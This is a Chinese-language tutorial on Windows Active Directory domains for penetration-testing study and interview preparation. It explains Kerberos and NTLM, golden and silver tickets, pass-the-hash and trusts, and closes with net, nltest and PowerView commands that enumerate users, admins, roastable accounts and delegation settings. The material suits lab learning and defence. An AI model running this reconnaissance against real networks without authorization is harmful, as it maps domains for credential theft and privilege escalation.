Windows 域详解

本文定位：只讲 Windows 域，讲深讲透每一个概念和攻击技术
建议配合：VMware Homelab（1 台 DC + 2 台 Win10/11 成员机）动手复现

Active Directory 域架构基础

1.1 域的核心概念

什么是域？为什么需要域？

在工作组模式中，每台计算机都是独立的个体：

用户登录时，本机用 SAM 文件（C:\Windows\System32\config\SAM）验证密码
你想访问另一台电脑的共享文件夹 → 需要那台电脑上也有你的账号
100 人的公司 → 每个员工在每台需要访问的电脑上都要创建账号 → 管理噩梦

在域模式中，所有计算机被集中管理：

存在一台核心服务器叫域控制器（Domain Controller, DC）
DC 上运行着Active Directory 域服务（AD DS），存储了域内所有对象（用户、计算机、组）
用户登录任意一台域内计算机 → 这台计算机去找 DC 验证 → DC 说”OK”→ 登录成功
一个账号，全域通用（这就是单点登录 Single Sign-On）

AD 中的对象模型

AD 数据库（ntds.dit）是一个层次化目录，核心概念：

概念	解释	示例
对象（Object）	AD 中存储的最小单元	一个用户、一台计算机、一个组
属性（Attribute）	描述对象的字段	`samAccountName`, `userPrincipalName`, `servicePrincipalName`, `userAccountControl`
DN（Distinguished Name）	对象在 AD 中的完整路径，唯一	`CN=张三,OU=技术部,DC=corp,DC=com`
RDN（Relative Distinguished Name）	DN 中代表对象自身的那一段	`CN=张三`
CN（Common Name）	对象通用名称	`张三`
OU（Organizational Unit）	组织单位，用于分组管理对象，可挂 GPO	`OU=技术部,DC=corp,DC=com`
GUID	全局唯一标识符，永不变	`{8f3c...}` — 即使用户改名、迁移 OU，GUID 不变
SID（Security Identifier）	安全标识符，权限控制的核心	`S-1-5-21-xxx-xxx-xxx-500`
RID（Relative Identifier）	SID 最后一段，域内唯一	`500` = Administrator, `502` = krbtgt
UPN（User Principal Name）	用户登录名（邮箱格式）	`zhangsan@corp.com`
SPN（Service Principal Name）	服务主体名称，将服务与账户绑定	`MSSQLSvc/sql01.corp.com:1433`

SID 的结构详解

S-1-5-21-1218902331-2157346161-1782232778-500
│ │ │ └─────────────────────────────────── └─┐
│ │ │              域标识符                  RID
│ │ └── NT Authority
│ └──── 版本号
└────── SID 前缀（固定）

已知 RID：
  500  → Administrator（内置管理员，PTH 的例外）
  501  → Guest
  502  → krbtgt
  512  → Domain Admins 组
  513  → Domain Users 组
  514  → Domain Guests 组
  515  → Domain Computers 组
  516  → Domain Controllers 组

面试重点：域 SID = S-1-5-21-xxx-xxx-xxx（去掉末尾 RID），黄金票据生成时用的是域 SID。

1.2 AD 数据库（ntds.dit）结构

ntds.dit
├── 域目录分区（Domain NC）
│   ├── 用户对象（users）
│   ├── 计算机对象（computers）
│   ├── 组对象（groups）
│   ├── OU 对象
│   ├── 组策略对象（GPOs）
│   └── 信任对象（TDOs, Trusted Domain Objects）
│   → 复制范围：仅本域内的所有 DC
│
├── 配置目录分区（Configuration NC）
│   ├── 站点信息（sites）
│   ├── 复制拓扑
│   ├── ADCS / PKI 信息（证书模板、CA 服务器）
│   └── Exchange / Lync 等应用配置
│   → 复制范围：整个林的所有 DC
│
├── 架构目录分区（Schema NC）
│   └── 定义所有对象类（class）和属性（attribute）的规则
│   → 复制范围：整个林的所有 DC
│
└── 应用程序目录分区
    └── 如 DNS 集成区域数据
    → 复制范围：按需指定的 DC

攻防含义：ntds.dit 文件位于域控 C:\Windows\NTDS\ntds.dit，包含所有域用户的 NTLM Hash。这是域渗透的终极目标文件。拿到它 = 拿到整个域的钥匙。

1.3 域树与林

林（Forest）
├── 域树 1：corp.com（根域）
│   ├── corp.com（父域）
│   ├── hq.corp.com（子域，DNS 连续命名空间）
│   └── asia.corp.com（子域）
│
└── 域树 2：dev.net（独立命名空间）
    └── dev.net

林的关键特性：
  - 同一个林内的所有域共享同一个架构（Schema）
  - 同一个林内的所有域共享同一个配置分区
  - 林的根域是创建的第一个域，拥有 Schema Admins 和 Enterprise Admins 组
  - 同一林内，父子域之间自动建立双向可传递信任
  - 跨林之间，需手动建立林信任（Forest Trust）

企业级攻防含义：
  - 拿下子域 → 可能通过信任关系攻击父域
  - 拿下林根域 → Enterprise Admins → 整个林沦陷
  - 不同林之间 → 林信任 + SID 历史 → 跨林提权

1.4 FSMO 五大操作主机角色

角色	范围	功能	攻防意义
Schema Master（架构主机）	整个林	定义/修改 AD 对象和属性	修改 Schema 可植入自定义属性做后门
Domain Naming Master（域命名主机）	整个林	创建/删除域	拿到它 = 可创建恶意域
PDC Emulator（PDC 模拟器）	每个域	时间同步、密码变更通知、向下兼容	客户端密码修改立即通知 PDC；LDAP 密码更改默认发往 PDC
RID Master（RID 主机）	每个域	为每个 DC 分配 RID 池	耗尽 RID → 域无法创建新对象
Infrastructure Master（基础结构主机）	每个域	维护跨域对象引用	幽灵对象、SID 历史利用

面试点：netdom query fsmo 可查询所有 FSMO 角色持有者。

1.5 域信任关系详解

信任方向与传递性

信任方向：
  域 A → 域 B（单向信任）→ 域 A 的用户可以访问域 B 的资源
  
双向信任是两条单向信任

传递性：
  可传递：A 信任 B，B 信任 C → A 信任 C
  不可传递：A 信任 B，B 信任 C → A 不信任 C（需单独建立）

信任类型

类型	方向	传递性	使用场景
父子域信任	双向	可传递	同树内父域与子域之间（自动建立）
树根信任	双向	可传递	同林内不同树根域之间（自动建立）
快捷信任	单向/双向	可传递	跨域频繁访问，加速 Kerberos 引用
外部信任	单向/双向	不可传递	不同林的域之间（经典隔离）
林信任	单向/双向	可传递	整个林之间（需要林功能级别 Win2003+）
领域信任	单向/双向	可传递/不可传递	AD 域与非 Windows Kerberos 领域（如 MIT Kerberos）

TDO（受信任域对象）

信任建立后，每个域在 System 容器中存储 TDO，关键属性：

trustPartner              → 信任对方的 DNS 名
flatName                  → NetBIOS 名
securityIdentifier        → 信任方的域 SID
trustType                 → 信任类型（1=Windows域, 2=Kerberos领域）
trustDirection            → 1=入站, 2=出站, 3=双向
trustAttributes           → 如 TRUST_ATTRIBUTE_QUARANTINED_DOMAIN
trustAuthIncoming         → 入站信任密码（加密的）
trustAuthOutgoing         → 出站信任密码（加密的）
msDS-TrustForestTrustInfo → 林信任拓朴信息

攻防关键：信任密码每 30 天自动更换。如果能读 TDO 的 trustAuthOutgoing，可解密出信任密码 → 伪造跨域 TGT → 跨域黄金票据。

查询信任关系

# 方法1：nltest
nltest /domain_trusts /all_trusts /v

# 方法2：AD PowerShell
Get-ADTrust -Filter *

# 方法3：PowerView
Get-DomainTrust
Get-DomainTrust -Domain child.corp.com
Get-DomainTrustMapping   # 映射所有信任
Get-ForestTrust          # 林信任
Get-ForestDomain         # 林中的所有域

# 方法4：netdom
netdom query trust

1.6 域控关键端口总表

端口	协议	服务/用途	渗透用途
53	TCP/UDP	DNS	DNS 隧道、SRV 记录发现域控
88	TCP/UDP	Kerberos 认证	AS-REQ / TGS-REQ、票据攻击
135	TCP	RPC 终结点映射	WMI、DCOM 横向移动
139	TCP	NetBIOS Session	老旧 SMB、null session
389	TCP/UDP	LDAP	AD 信息枚举、ACL 滥用
445	TCP	SMB	PTH 横向（PsExec）、SMB Relay
464	TCP/UDP	Kerberos 密码变更	kpasswd
636	TCP	LDAPS（SSL）	加密的 LDAP 查询
3268	TCP	全局编录（LDAP）	跨域 AD 对象查询
3269	TCP	全局编录（LDAPS）	加密的全局编录
5985	TCP	WinRM（HTTP）	PowerShell Remoting
5986	TCP	WinRM（HTTPS）	加密的 WinRM
9389	TCP	AD Web Services	PowerShell AD cmdlet 底层调用

Kerberos 认证协议全解

为什么 Kerberos 是域渗透的灵魂？
因为黄金票据、白银票据、Kerberoasting、AS-REP Roasting、委派攻击、Over-Pass-the-Hash 全部建立在 Kerberos 协议之上。不懂 Kerberos 就不懂域渗透。

2.1 四个角色与 KDC

┌─────────────────────────────────────────────────────┐
│                  KDC（端口 88）                        │
│  ┌───────────────────┐  ┌───────────────────────┐   │
│  │  AS（认证服务）      │  │  TGS（票据授予服务）      │   │
│  │  → 验证你是谁         │  │  → 给你访问服务的票据     │   │
│  │  → 签发 TGT          │  │  → 签发 ST              │   │
│  └───────────────────┘  └───────────────────────┘   │
└─────────────────────────────────────────────────────┘

角色 1：Client（客户端）→ 用户或服务
角色 2：AS（Authentication Server）→ 身份验证，发放 TGT
角色 3：TGS（Ticket Granting Service）→ 凭 TGT 发放 ST
角色 4：SS（Service Server）→ 最终提供服务的服务器

KDC = AS + TGS，运行在域控上

2.2 三次交互的完整细节

交互 0：前置条件

用户输入密码登录 Windows 时：
  NTLM Hash = MD4(Unicode(password))        ← 用户凭据
  Client 本地缓存此 Hash，后续用它加密/解密

用户成功登录后收到 TGT，这是 TGT 票据的常规生命周期起点。
攻击场景下，TGT 也能离线伪造（黄金票据的核心）。

交互 1：AS_REQ / AS_REP（认证阶段）

Client → KDC (AS)：AS_REQ
  消息内容（明文）：
    - 用户名（cname）
    - 域名（realm）
    - 请求的服务（通常是 krbtgt/域名）
    - 用【用户 NTLM Hash】加密的时间戳（预认证数据，pre-auth）
    - 支持的加密类型列表（RC4/AES128/AES256）

KDC (AS) 的处理：
  1. 根据 cname 查 AD 数据库，取出该用户的 NTLM Hash
  2. 用 NTLM Hash 解密时间戳 → 验证通过 → 用户身份确认
  3. 生成【Client/TGS Session Key】（会话密钥，后续沟通用）
  4. 构造 TGT：
     ┌─────────────────────────────────┐
     │ TGT 结构                         │
     │ ├─ 用户名                        │
     │ ├─ Session Key（客户端→TGS）      │
     │ ├─ 有效期（默认 10 小时）           │
     │ ├─ PAC（用户组 SID、权限数据）      │
     │ └─ 时间戳                        │
     │ 整体用【krbtgt 的 NTLM Hash】加密   │
     └─────────────────────────────────┘
  5. 返回 AS_REP（两部分）：

KDC (AS) → Client：AS_REP
  ┌─────────────────────────────────────┐
  │ Msg A（用【用户 NTLM Hash】加密）：    │
  │   └─ Client/TGS Session Key         │
  │                                     │
  │ Msg B（TGT，用【krbtgt NTLM Hash】加密）│
  │   └─ 用户名 + Session Key + PAC      │
  │   ↑ 客户端无法解密（没有 krbtgt Hash）   │
  └─────────────────────────────────────┘

Client 收到后：
  → 用自己的 NTLM Hash 解密 Msg A → 拿到 Session Key
  → Msg B（TGT）原样保存，下次带着就行（不解密）

交互 2：TGS_REQ / TGS_REP（授权阶段）

Client → KDC (TGS)：TGS_REQ
  消息内容：
    - 目标服务名（如 cifs/dc01.corp.com）
    - 之前拿到的 TGT（Msg B，原样附上）
    - 用【Session Key】加密的认证器（Authenticator）
      └─ 包含用户名 + 当前时间戳（防止重放攻击）
    - 支持的加密类型

KDC (TGS) 的处理：
  1. 用【krbtgt NTLM Hash】解密 TGT → 拿到 Session Key + 用户名 + PAC
  2. 用 Session Key 解密认证器 → 验证用户名一致 + 时间戳在允许偏差内（默认 5 分钟）
  3. 验证用户是否有权访问目标服务
  4. 生成【Client/Server Session Key】（客户端与目标服务的会话密钥）
  5. 构造 ST（服务票据）：
     ┌─────────────────────────────────┐
     │ ST 结构                          │
     │ ├─ 用户名                        │
     │ ├─ Client/Server Session Key     │
     │ ├─ PAC（权限数据，由 KDC 签名）     │
     │ ├─ 有效期（默认约 10 小时）         │
     │ └─ 时间戳                        │
     │ 整体用【目标服务的 NTLM Hash】加密    │
     └─────────────────────────────────┘
  6. 返回 TGS_REP（两部分）：

KDC (TGS) → Client：TGS_REP
  ┌───────────────────────────────────────┐
  │ Msg E（用 Session Key 加密）：          │
  │   └─ Client/Server Session Key        │
  │                                       │
  │ Msg F（ST，用【服务 NTLM Hash】加密）：  │
  │   └─ 用户名 + Session Key + PAC       │
  │   ↑ 客户端无法解密（没有服务 Hash）       │
  └───────────────────────────────────────┘

交互 3：AP_REQ / AP_REP（服务访问阶段）

Client → SS（目标服务）：AP_REQ
  消息内容：
    - ST（Msg F，原样附上）
    - 用【Client/Server Session Key】加密的认证器（Authenticator）

SS（目标服务）的处理：
  1. 用【自己的 NTLM Hash】解密 ST → 拿到 Session Key + PAC + 用户名
  2. 用 Session Key 解密认证器 → 验证
  3. 检查 PAC 中的组 SID → 判断是否有权限
  4. （可选）将 PAC 发给域控验证签名（PAC Validation）→ 仅当启用时
  5. 返回 AP_REP（可选，用于双向认证）

SS → Client：AP_REP
  可选响应，用于双向认证

2.3 加密类型详解

类型编号	加密算法	名称	攻防意义
0x17 (23)	RC4-HMAC	`RC4_HMAC_MD5`	NTLM Hash 直接加密 → PTH / Golden Ticket / Silver Ticket 用这个
0x11 (17)	AES128-CTS-HMAC-SHA1-96	`AES128`	AES Key 加密 → PTK 用这个
0x12 (18)	AES256-CTS-HMAC-SHA1-96	`AES256`	AES Key 加密 → PTK 首选
0x10 (16)	DES-CBC-MD5	`DES`	已废弃，Win7/2008R2 起禁用

面试要点：RC4 (0x17) 使用 NTLM Hash 直接作为密钥 → 这就是为什么拿到 NTLM Hash 就能伪造票据。AES (0x11/0x12) 使用 PBKDF2 从密码派生的 AES Key → NTLM Hash 无法直接生成 AES Key → 这就是为什么 PTK 需要单独获取 AES Key。

2.4 PAC 详解

PAC（Privilege Attribute Certificate）
  ├─ 包含用户的组 SID 列表（如 Domain Admins SID）
  ├─ 包含用户权限信息
  ├─ 由 KDC 使用 krbtgt 密钥签名
  └─ 服务端收到 ST 后，可选将其发给 KDC 验证签名

PAC 签名的攻防意义：
  ✅ 正常流程：KDC 生成 TGT/ST 时，对 PAC 签名；服务端验证签名
  ❌ 黄金票据：跳过 AS，但经 TGS → TGS 重新签名 PAC → PAC 合法
  ❌ 白银票据：跳过 KDC → PAC 无合法签名 → 如果服务端开启 PAC 验证则失败！
  
  Windows 默认不验证 PAC 签名（性能原因），但可以强制开启：
  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
  ValidateKdcPacSignature = 1 (DWORD)

2.5 Kerberos 常见面试题

Q1：Kerberos 和 NTLM 的核心区别是什么？

	Kerberos	NTLM
三方参与	Client + KDC + Server	Client + Server（DC 验证时可算三方）
凭据形式	票据（TGT/ST），有过期时间	Hash，质询-响应
双向认证	支持	不支持
中继攻击	不受影响（票据绑定到 SPN）	可中继（NTLM Relay）
端口	88	无专用端口（通过 SMB 445 / HTTP 等）

Q2：TGT 和 ST 的加密密钥分别是什么？

TGT 由 krbtgt 账户的 NTLM/AES Key 加密；ST 由 目标服务账户的 NTLM/AES Key 加密。

Q3：为什么 krbtgt 的 Hash 如此重要？

因为 TGT 用 krbtgt Hash 加密，拿到 krbtgt Hash = 可以自己加密 TGT = 黄金票据 = 伪造任意用户身份。

Kerberos —— “好像懂了但说不清”

如果你在面试中讲 Kerberos 时感觉”概念都对，但说出来就是差点意思”，这一节就是为你准备的。

补2.1 术语正名 —— 面试中别叫错名字

缩写	英文全称	中文翻译	面试建议
TGT	Ticket Granting Ticket	票据授予票据 / 票据授权票据	面试时说英文缩写 TGT 即可，中文太拗口
TGS	Ticket Granting Service	票据授予服务	同理说 TGS
AS	Authentication Service	认证服务	说 AS
KDC	Key Distribution Center	密钥分发中心	AS + TGS 的统称
ST	Service Ticket	服务票据	说”服务票据”或直接 ST
PAC	Privilege Attribute Certificate	特权属性证书	说 PAC（包含用户组 SID 和权限信息）
krbtgt	Kerberos Ticket Granting Ticket	（无官方翻译）	直接说 krbtgt

补2.2 AS ≠ AD

很多初学者说”AS 就是 AD”，这是错的。两者的关系是：

Active Directory（AD，活动目录）
  └── 是一个『目录服务数据库』，存储域内所有对象（用户、计算机、组……）
       运行在域控制器（Domain Controller, DC）上

域控制器（DC）
  └── 是一台『服务器』，运行着以下 Kerberos 服务：
        ├── AS（Authentication Service）→ 验证身份 → 发放 TGT
        └── TGS（Ticket Granting Service）→ 验证 TGT → 发放 ST
            两者合称 KDC（Key Distribution Center，端口 88）

面试正确说法：

AS（Authentication Service，认证服务）是 Kerberos 协议中的认证组件，运行在域控制器（DC）上，负责验证用户身份并发放 TGT。AD（Active Directory）是域目录服务，DC 是运行 AD 的服务器。AS ≠ AD，AD 是数据库，AS 是认证服务。

补2.3 Kerberos 流程

以下是面试中可以直接用的说辞，简明扼要，不会卡壳：

正常认证流程（三句话版本）：

① Client 使用自己的身份凭据（密码派生的 Kerberos 密钥）
   向 AS（Authentication Service，认证服务）发起请求，
   AS 验证身份通过后，返回一张 TGT（Ticket Granting Ticket，票据授予票据）。

② Client 携带 TGT 向 TGS（Ticket Granting Service，票据授予服务）
   请求访问某个具体服务的 Service Ticket（服务票据），
   TGS 验证 TGT 有效后，返回该服务的 Service Ticket。

③ Client 携带 Service Ticket 访问目标服务，
   服务端验证通过后提供相应资源。

黄金票据流程（攻击者视角）：

攻击者已获取 krbtgt 的 Kerberos 密钥（NTLM Hash 或 AES Key）
        │
        ▼
  离线伪造 TGT（号称自己是 Administrator）
        │
        ▼
  跳过 AS → 直接拿伪造的 TGT 找 TGS 申请 Service Ticket
        │
        ▼
  TGS 用 krbtgt 密钥解密 TGT → 验证通过 → 发放 Service Ticket
        │
        ▼
  拿到 Service Ticket → 访问任意服务

白银票据流程（攻击者视角）：

攻击者已获取目标服务账户的 Kerberos 密钥（如 DC$ 的 NTLM Hash）
        │
        ▼
  离线伪造 Service Ticket（声称自己是 Administrator）
        │
        ▼
  跳过 AS 和 TGS → 直接拿伪造的 Service Ticket 访问目标服务
        │
        ▼
  目标服务用自己的密钥解密 → 验证通过 → 提供该服务的资源
  （全程域控无日志！）

补2.4 krbtgt 到底是什么？

一句话理解

krbtgt 是 AD 域中内置的系统账户，专门用于 Kerberos 票据签发。它的密码（派生出的 Kerberos 密钥）用于加密和签名域内所有的 TGT 票据。可以把它理解为 Kerberos 体系的『根密钥』。

krbtgt 和普通账户的区别

	Administrator	krbtgt
用途	管理员登录、管理系统	专门签发/验证 TGT 票据
能否登录	✅ 可以	❌ 禁用登录
密码谁管的	管理员设置	系统自动生成，极其复杂
RID	500	502
Hash 在哪里	NTDS.dit（和其他用户一样）	NTDS.dit（和其他用户一样）
攻防地位	拿来横向移动	拿来伪造 TGT = 黄金票据

为什么 krbtgt 这么特殊？

回到 Kerberos 流程，有两个地方用到 krbtgt 的密钥：

① AS 生成 TGT 时：
   TGT 的内容（用户名、Session Key、PAC）→ 用 krbtgt 密钥加密
   
② TGS 验证 TGT 时：
   收到 TGT → 用 krbtgt 密钥解密 → 解密成功 = TGT 是真的

关键逻辑：加密和解密用的是同一把钥匙（对称密钥）。谁有这把钥匙，谁就能造出 TGS 认可的 TGT。

所以：攻击者拿到 krbtgt Hash → 等于拿到了这把钥匙 → 可以自己造 TGT → TGS 无法分辨真假 → 黄金票据成立。

为什么叫 krbtgt？

Kerberos Ticket Granting Ticket
  Kerb   Ticket  Granting  Ticket
   ↓       ↓        ↓        ↓
  krb     t        g        t
           → krbtgt

就是 Kerberos TGT 服务对应的账户名。

为什么黄金票据能访问”所有服务”？

这里有一个最常见的误区：很多人以为 TGT 里保存了所有服务的 Hash，所以黄金票据能访问所有服务。这完全是错的。

真相是这样的：

域控制器（DC）上运行着 TGS（票据授予服务）
DC 拥有 NTDS.dit（AD 数据库）
NTDS.dit 里存储了所有账户的 Hash：
  ├── krbtgt 的 Hash（用于加密/解密 TGT）
  ├── Administrator 的 Hash
  ├── DC$（域控机器账户）的 Hash
  ├── SQLServer$ 的 Hash
  ├── WebServer$ 的 Hash
  └── ... 所有域内账户的 Hash

当 TGS 收到你伪造的 TGT（声称你是 Administrator，想访问 SQLServer）：
  ① 用 krbtgt Hash 解密 TGT → 成功 → "这个 TGT 是真的"
  ② 查询 NTDS.dit → 找到 SQLServer$ 的 Hash
  ③ 用 SQLServer$ 的 Hash 生成 Service Ticket → 返回给你
  ④ 你拿着这张 Service Ticket 去访问 SQLServer → 成功

当你想访问 CIFS（文件共享）：
  ① TGS 再次用 krbtgt Hash 解密 TGT → 成功
  ② 查询 NTDS.dit → 找到目标机器账户的 Hash
  ③ 用该机器账户的 Hash 生成 CIFS Service Ticket → 返回给你
  ④ 成功

...以此类推，你想访问什么服务，TGS 就给你签发什么服务的 Ticket

关键总结：

TGT 里只包含用户信息（用户名、SID、组信息、PAC、有效期），不包含任何服务的 Hash
黄金票据能访问所有服务，是因为 TGS（运行在 DC 上）自己知道所有服务的密钥（都在 NTDS.dit 里）
黄金票据伪造了 TGT → 骗过了 TGS → TGS 愿意为伪造 TGT 中声称的身份去查询任何服务的密钥 → 签发对应的 Service Ticket

补2.5 Hash 和 Key

很多人面试时说”所有票据都是 Hash + AES 加密”，这句话在技术上是不准确的。

正确的理解

用户的密码
    │
    ├──→ NTLM Hash = MD4(Unicode(密码))
    │    用途：NTLM 认证、PTH、RC4 加密的 Kerberos
    │
    └──→ AES Key = PBKDF2(密码, 域名, 迭代次数)
         用途：AES 加密的 Kerberos
         ├── AES128 Key（16 字节）
         └── AES256 Key（32 字节）

Kerberos 加密类型与对应的密钥

加密类型编号	算法	使用的密钥	来源
0x17 (23)	RC4-HMAC	NTLM Hash	`MD4(密码)`
0x11 (17)	AES128-CTS-HMAC-SHA1-96	AES128 Key	`PBKDF2(密码)`
0x12 (18)	AES256-CTS-HMAC-SHA1-96	AES256 Key	`PBKDF2(密码)`

关键认知：

当攻击者说”用 NTLM Hash 伪造票据”时，实际用的是 RC4 加密（类型 0x17）
NTLM Hash 可以直接当 RC4 密钥用（因为它正好是 16 字节）
NTLM Hash 不能用来做 AES 加密——AES Key 是从密码通过 PBKDF2 独立派生出来的
如果域禁用了 RC4 只允许 AES，那光有 NTLM Hash 是伪造不了票据的，需要 AES Key

面试标准说法

Kerberos 票据并非简单地用 “Hash + AES” 加密。票据使用对应账户的 Kerberos 密钥加密和签名——对于 TGT 用 krbtgt 的密钥，对于 Service Ticket 用目标服务的密钥。密钥可以是 RC4 使用的 NTLM Hash（类型 0x17），也可以是 AES128/AES256 Key（类型 0x11/0x12）。渗透中常说”拿到 krbtgt Hash 就能伪造黄金票据”，本质是因为该 NTLM Hash 可作为 RC4 加密的 Kerberos 密钥使用，而非所有票据都用 Hash 做 AES 加密。

补2.6 游乐园比喻

把 Kerberos 理解成一个大型游乐园：

🏰 游乐园总部（DC / AD）
  ├── 🏢 行政楼（KDC，端口 88）
  │   ├── 📋 身份验证窗口（AS）
  │   └── 🎫 售票窗口（TGS）
  └── 📁 档案室（NTDS.dit）← 存放所有印章（Hash）

🔑 总部公章（krbtgt 密钥）→ 盖在通行证上
📋 通行证（TGT）→ 证明你是谁的凭证
🎫 项目门票（Service Ticket）→ 玩具体项目的凭证

正常流程：
  去身份验证窗口（AS）→ 验明正身 → 领通行证（TGT，盖总部公章的）
  → 拿着通行证去售票窗口（TGS）→ 换具体项目的门票（Service Ticket）
  → 拿着门票进项目（Server）

黄金票据（偷了总部公章）：
  自己在家做一张通行证，盖上偷来的总部公章
  → 售票窗口一看："公章是真的！"
  → 给你换任何项目的门票
  → 全园通玩

白银票据（偷了某个项目的检票章）：
  偷到了过山车的检票章
  → 自己在家做一张过山车门票
  → 直接去过山车（不经过总部！）
  → 过山车检票员一看："章对！"
  → 只能玩过山车，摩天轮去不了（章不对）

补2.7 三种流程对比图

┌──────────────────────────────────────────────────────────┐
│                    正常 Kerberos 认证                      │
│                                                          │
│  Client ──①──→ AS  ──②──→ TGS  ──③──→ Server           │
│           认证     发 TGT    发 ST      服务               │
│                      ↑                            │
│                  krbtgt 密钥加密 TGT               │
└──────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────┐
│              黄金票据（伪造 TGT，跳过 AS）                   │
│                                                          │
│  攻击者 ──离线伪造 TGT──→ TGS  ──③──→ Server              │
│  (有 krbtgt Hash)   发 ST      服务                       │
│         跳过①                                             │
│     TGS 无法分辨真假 → 照常发 ST                            │
└──────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────┐
│           白银票据（伪造 ST，跳过 AS + TGS）                 │
│                                                          │
│  攻击者 ──离线伪造 ST──→ Server                            │
│  (有服务 Hash)           服务                              │
│         跳过①②                                           │
│     Server 用自己的 Hash 验证 → 无法分辨真假                 │
│     域控上没有任何日志（没和 KDC 通信）                      │
└──────────────────────────────────────────────────────────┘

NTLM 认证协议全解

NTLM 是除 Kerberos 外域内最核心的认证协议。PTH、NTLM Relay、NetNTLM 破解都基于它。

3.1 NTLM 在工作组 vs 域环境

工作组环境：
  Client ────→ Server
             Server 用本地 SAM 验证

域环境：
  Client ────→ Server ────→ DC（Netlogon 协议转发验证）
             Server 不需要保存用户密码

3.2 三次握手详解

阶段 1：协商（NEGOTIATE_MESSAGE | Type 1）
  Client → Server：
    内容：客户端支持的 NTLM 版本（v1/v2）、支持的加密算法等
    特点：明文，无加密数据

阶段 2：质询（CHALLENGE_MESSAGE | Type 2）
  Server → Client：
    内容：
      - 16 字节的 Server Challenge（随机数）
      - 域名/计算机名
      - 协商的 NTLM 参数
    特点：明文，Challenge 是核心

阶段 3：认证（AUTHENTICATE_MESSAGE | Type 3）
  Client → Server：
    内容：
      - 用户名（明文）
      - 域名（明文）
      - Response = 用 NTLM Hash 对 Challenge 计算出的结果
        具体算法：
          NTLMv1：DES(每组7字节的NTLM Hash, Challenge) 生成 24 字节
          NTLMv2：
            ① NTLMv2_Hash = HMAC-MD5(
                 Unicode(Upper(UserName) + Domain),
                 NTLM Hash
               )
            ② Blob = 时间戳 + Client Challenge + Target Info
            ③ NTProofStr = HMAC-MD5(Server Challenge + Blob, NTLMv2_Hash)
            ④ Response = NTProofStr + Blob
    特点：包含加密的 Response

Server 验证（域环境）：
  → Server 将 Type 1/2/3 全部转发给 DC
  → DC 用 NTDS.dit 中的 NTLM Hash + Challenge 重新计算 Response
  → 对比 Response → 相同则通过

3.3 核心概念辨析（面试必考）

概念	别称	生成方式	存储位置	攻击用法
LM Hash	LAN Manager Hash	`DES("KGS!@#$%", 密码前14字符转大写)`	SAM / NTDS.dit	已废弃，Win7 起默认不存。现代系统固定值：`aad3b435b51404eeaad3b435b51404ee`
NTLM Hash	NT Hash、NTHASH	`MD4(Unicode(密码))`	SAM / NTDS.dit / LSASS	PTH（哈希传递）
Net-NTLMv1 Hash	NTLM Response v1	`DES(NTLM Hash, Server Challenge)`	网络传输中	NTLM Relay、爆破
Net-NTLMv2 Hash	NTLM Response v2	`HMAC-MD5(Challenge + Blob, NTLMv2_Hash)`	网络传输中	NTLM Relay、爆破
AES Key	Kerberos Key	`PBKDF2(密码, 域名, 迭代次数)`	LSASS	PTK（密钥传递）

关键区分：
NTLM Hash = MD4(密码) → “锁的钥匙”→ PTH 直接用
Net-NTLM Hash = NTLM Hash 加密 Challenge → “钥匙+随机锁芯的结果”→ Relay / 爆破
Pass-the-Hash 用 NTLM Hash；NTLM Relay 用 Net-NTLM Hash

3.4 NTLMv1 vs NTLMv2

	NTLMv1	NTLMv2
Challenge 长度	8 字节	16 字节
加密算法	DES（3 组 7 字节）	HMAC-MD5
时间戳	无	有（防重放）
MIC 校验	无	有（防篡改）
Hashcat 模式	5500	5600
安全性	❌ 几小时可爆破	⚠️ 更难但仍可爆破

3.5 PTH 为什么能成功？

NTLM 协议设计时，认证公式是 Response = F(NTLM_Hash, Challenge)，计算过程从头到尾不需要明文密码。因此，拥有 NTLM Hash 的人就能完成整个认证流程，协议本身不区分”你在输密码”还是”你在用 Hash”。

关键补丁 KB2871997：

打了补丁后，普通域用户（非 RID 500）不能通过 PTH 远程访问本机以外的资源
但 RID=500 的内置 Administrator 账户不受限 → “永远的后门”
域管组成员可以 PTH 到域控上

域信息收集与攻击面枚举

核心思想：进入域内后第一步永远是”摸清环境”。你打的不是一台机器，是整张网络。知己知彼，百战不殆。

4.1 手工基础信息收集

# ===== 获取当前主机信息 =====
whoami                          # 当前用户
whoami /all                     # 当前用户详细信息（含 SID、组、特权）
hostname                        # 主机名
ipconfig /all                   # IP、DNS 服务器（通常就是域控）、DHCP
systeminfo                      # 系统版本、补丁（判断未打补丁的漏洞）

# ===== 获取域基本信息 =====
net user /domain                # 域内所有用户
net user Administrator /domain  # 某个用户的详细信息（组、最后登录等）
net group /domain               # 域内所有组
net group "Domain Admins" /domain   # 域管组成员
net group "Domain Controllers" /domain  # 域控列表
net group "Domain Computers" /domain   # 域内计算机

# ===== 定位域控 =====
nltest /dclist:corp.com         # 域控列表
echo %logonserver%              # 当前登录的域控
nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.com  # DNS SRV 记录定位域控
net time /domain                # 时间服务器（通常就是域控）

# ===== 域信任关系 =====
nltest /domain_trusts /all_trusts /v

# ===== 网络发现 =====
net view                        # 当前网段机器
net view /domain                # 域内所有机器
net view /domain:CORP           # 指定域的机器
netstat -ano                    # 当前网络连接

# ===== 查看当前登录用户 =====
query user                      # 本机当前登录用户（RDP）

# ===== 进程信息 =====
tasklist /v                     # 进程列表
tasklist /svc                   # 进程与服务关联

4.2 PowerView 完整枚举

Import-Module .\PowerView.ps1

# === 域信息 ===
Get-Domain                            # 当前域基本信息
Get-DomainSID                         # 域 SID（黄金/白银票据必用）
Get-DomainController                  # 域控列表
Get-DomainPolicy                      # 域密码策略
(Get-DomainPolicy)."KerberosPolicy"   # Kerberos 策略（TGT 有效期等）

# === 用户枚举 ===
Get-DomainUser                                    # 所有用户
Get-DomainUser -Properties *                      # 所有用户的全部属性
Get-DomainUser -SPN                               # 有 SPN 的用户 → Kerberoastable
Get-DomainUser -PreauthNotRequired                # 无预认证用户 → AS-REP Roastable
Get-DomainUser -TrustedToAuth                     # 约束委派的用户
Get-DomainUser -AdminCount                        # AdminCount=1 的用户（受保护对象）
Get-DomainUser | ?{$_.memberof -match "Domain Admins"}  # 域管组成员
Find-UserField -SearchField Description -SearchTerm "pass"  # 描述中含密码的用户

# === 计算机枚举 ===
Get-DomainComputer                                # 所有计算机
Get-DomainComputer -Unconstrained                 # 非约束委派 → 缓存 TGT 可利用
Get-DomainComputer -TrustedToAuth                 # 约束委派 → S4U 攻击
Get-DomainComputer -Ping                          # 在线机器
